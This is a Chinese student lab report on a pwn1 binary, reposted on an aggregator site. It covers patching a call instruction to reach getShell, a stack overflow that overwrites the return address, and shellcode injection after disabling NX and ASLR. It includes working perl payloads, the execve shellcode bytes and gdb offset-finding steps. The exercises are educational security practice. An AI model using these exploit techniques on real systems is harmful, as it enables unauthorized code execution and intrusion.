当前位置: 首页 > news >正文

20251904 2025-2026-2 《网络攻防实践》第九周作业

20251904 2025-2026-2 《网络攻防实践》实践九报告

目录
  • 20251904 2025-2026-2 《网络攻防实践》实践九报告
    • 1.实践内容
      • 1.1 实践内容总结
        • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
        • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
        • 注入一个自己制作的shellcode并运行这段shellcode。
      • 1.2 知识点总结
        • 可执行文件指令级修改
        • 栈缓冲区溢出攻击
        • Shellcode注入与系统防护机制
    • 2.实践过程
      • 2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
      • 2.2利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数
      • 2.3注入一个自己制作的shellcode并运行这段shellcode
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1.实践内容

1.1 实践内容总结

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

1.2 知识点总结

可执行文件指令级修改

通过objdump反汇编定位目标函数地址及call指令,理解相对偏移寻址机制(目标地址 = 当前PC + 偏移量)。使用十六进制编辑器直接修改机器码中的偏移量,可改变函数调用目标,实现程序执行流的静态劫持。

栈缓冲区溢出攻击

分析函数栈帧布局:局部变量区、保存的EBP、返回地址依次排列。计算缓冲区起始位置到返回地址的字节偏移量,构造包含恶意地址的溢出字符串。当函数返回时,CPU会跳转到覆盖后的地址,从而劫持控制流执行任意代码。

Shellcode注入与系统防护机制

编写实现功能(如启动shell)的简短机器码作为shellcode。利用execstack设置栈可执行,关闭ASLR以固定栈地址。通过调试器确定返回地址在栈上的位置,构造“填充+NOP滑梯+shellcode+覆盖返回地址”的攻击载荷,使程序返回时滑入shellcode并执行。

2.实践过程

2.1手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

用自己的学号(20251904)替换命令行的名字,键入hostnamectl set-hostname 20251904sunchenxi后点击重启
image
键入objdump -d 20251904scxpwn1 | more (原文件名为pwn1,这里我在前面加入了我的学号20251904和姓名scx(孙晨曦))
image
按回车键查看更多,可以发现:
getShell
image
foo
image
main
image
从上图可以看出,main函数第四行是在调用地址为0x08048491的foo函数,对应的机器指令为:e8 d7 ff ff ff。其中e8是call指令的操作码,后面四个字节d7 ff ff ff是要跳转的偏移量,采用补码形式表示。此时EIP寄存器中的值是下一条指令的地址0x080484ba。三者满足的关系为:0x080484ba + d7 ff ff ff = 0x08048491。
要将调用目标直接改为getShell函数,只需把foo函数的地址替换成getShell函数的地址。利用上述关系进行计算:0x0804847d - 0x080484ba = c3 ff ff ff,由此得到需要修改的机器指令为:e8 c3 ff ff ff。
键入vim 20251904scxpwn1
image
键入:%!xxd
image
输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3
image
image
:%!xxd -r还原后键入:wq退出
image
objdump -d 20251904scxpwn1 | more,发现已经完成修改
image
./20251904scxpwn1后键入ls
image
已经成功获得了 Shell,修改后的程序(或利用程序)正确地将执行流程劫持到了 getShell 函数,启动了一个新的 /bin/sh 进程。

2.2利用foo函数的Bof漏洞,生成攻击输入字符串,覆盖返回地址,从而触发getShell函数

objdump -d ./pwn20251904scx | grep getShell
image
拿到了 getShell 的地址:0x0804847d
objdump -d ./pwn20251904scx | grep -A20 ':' 查看 foo 函数反汇编
image
缓冲区开始于 ebp - 0x1c(距 ebp 28 字节)返回地址存储于 ebp + 4因此从缓冲区起始到返回地址的偏移 = 0x1c + 4 = 0x20 = 32 字节
构造一个foo 函数缓冲区溢出漏洞的攻击输入,用 32 个字节的填充(A)覆盖栈上缓冲区直到返回地址的位置,然后将 getShell 函数的地址(0x0804847d)以小端格式写入返回地址位置,使得 foo 函数返回时跳转到 getShell 执行,从而获得 shell 或执行预期的恶意功能。
构造攻击输入字符串:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > inputstringscx
image
这样创建一个名为 inputstringscx 的文件,其中包含11111111222222223333333344444444和 getShell 的地址
再键入xxd inputstringscx
image
(cat inputstringscx; cat) | ./pwn20251904sunchenxi 使用管道符 | 将攻击字符串作为程序输入,完成攻击
image
攻击成功
image

2.3注入一个自己制作的shellcode并运行这段shellcode

安装execstack:
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb(先在宿主机下载了.deb复制到虚拟机)
image
execstack -s pwnscx20251904 将堆栈设置为可执行状态
image
execstack -9 pwnscx20251904 查询当前的“栈可执行”状态
image
X表示栈可执行。程序运行时,栈上的内存具有执行权限(rwx)。这意味着如果存在栈溢出,可以直接在栈上放置并运行 shellcode,无需绕过 NX 保护。
more /proc/sys/kernel/randomize_va_space查看地址状态随机化
image
2表明系统开启了完全 ASLR(地址空间布局随机化)
sudo su提权后,echo "0" > more /proc/sys/kernel/randomize_va_space 关闭地址随机化,再查看地址状态随机化
image
使用perl来构造输入字符串:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > scx1904
image

打开两个终端,一终端输入命令(cat scx1904;cat) | ./pwnscx20251904作为pwnscx20251904的输入
image
另一终端ps -ef | grep pwnscx20251904查看进程
image
进程号为7855
打开一个终端,进行gdb调试
gdb pwnscx20251904
image
attach 7855
image
disassemble foo
image
可以看到ret的地址为0x080484ae
下面在ret处设置断点:break *0x080484ae
image
在(cat scx1904;cat) | ./pwnscx20251904终端按回车
image
在gdb终端输入c后输入命令info r esp
image
可以查看到栈顶指针所在位置为0xffffd2dc
下面输入命令x/16x 0xffffd2dc
image
可以查看当前栈顶的值
下面以此来构造shellcode
perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a"' > scx1904
image
(cat scx1904;cat) | ./pwnscx20251904,发现攻击成功
image

3.学习中遇到的问题及解决

  • 问题1:虚拟机无法使用wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb下载execstack
  • 问题1解决方案:在宿主机下载好.deb文件之后复制到虚拟机安装

4.实践总结

这个实践让我深入理解了指令偏移计算及缓冲区溢出原理。亲手关闭ASLR并注入shellcode,成功劫持控制流。让我深刻认识到内存安全的重要性,任何输入校验缺失都可能成为系统突破口。感觉难度整体适中,但也在下载execstack、gdb时遇到了一点问题,好在换了离线安装的方式之后成功解决了。

http://www.gsyq.cn/news/1432878.html

相关文章:

  • Autoware.universe开发环境搭建:为什么我更推荐Ubuntu 22.04 + 源码安装而非Docker?
  • 内网CentOS 7离线装LibreOffice 7.1,我踩过的依赖坑都帮你填好了
  • VMware ESXi 9.1 macOS Unlocker OEM BIOS 2.7 Inspur 浪潮 定制版
  • AI与大数据泡沫下,创业者如何构建真正的技术壁垒与叙事
  • AI哲学对话实验:大语言模型如何模拟人类哲学思考
  • B站视频转文字终极指南:5分钟搞定B站内容自动化提取
  • Kubernetes新手必看:kubectl get nodes报错localhost:8080?别慌,三步搞定kubeconfig配置
  • 内容平台后台迁移实战:从数据备份到效率提升的完整指南
  • Seraphine:重塑英雄联盟游戏决策体验的智能游戏辅助工具
  • 手机号码定位系统:3步搭建免费查询工具,轻松获取地理位置信息
  • 新华区华鑫制冷设备:石家庄靠谱的二手低温机组销售公司推荐几家 - LYL仔仔
  • Claude Opus 4压力测试:AI策略性风险与安全防御实战解析
  • 如何通过实时数据流与智能决策引擎优化英雄联盟游戏体验?
  • 科技行业反思:从技术狂奔到负责任创新,AI与创业的修复之路
  • 【Lindy函数计算自动化实战指南】:20年架构师亲授3大避坑法则与5步落地框架
  • Lindy路线图关键拐点预警,错过这2个窗口期将落后竞对18个月
  • 临沂巨诚查电查漏水|地下管道专修|消防/自来水/地埋电缆故障检测维修 - 资讯热点
  • UE4材质进阶:别再直接调UV了!手把手教你用Append节点精准控制法线贴图强度
  • 保姆级教程:手把手复现BEVDet算法(基于PyTorch和NuScenes数据集),附完整代码与避坑指南
  • 电流型 vs 电压型PHY芯片选型避坑指南:你的网络变压器中间抽头该接电容还是电源?
  • 瑙鲁移民项目中介服务解析与机构参考 - 品牌排行榜
  • 用Python玩转模拟退火算法:从物理退火到TSP路径优化的保姆级代码拆解
  • 别再被Dlib安装劝退了!手把手教你用Python 3.9+VS2022搞定人脸识别库(附资源包)
  • 加密经济学如何通过激励与博弈论解决社会分歧?
  • 2025-2026年韩国留学机构推荐:五大口碑评测价格适用场景注意事项特点 - 品牌推荐
  • B站视频转文字神器:如何5分钟完成B站内容智能提取?
  • 美国移民公司推荐:如何选择专业服务机构 - 品牌排行榜
  • AI自动化与算力集中化:技术浪潮下的就业重构与权力变迁
  • 大模型量化技术实战:从理论到生产,让70B模型在单卡上运行
  • 2025-2026年国内主流猎头公司推荐:五大专业评测跨区域中高端人才寻访案例价格选择指南 - 品牌推荐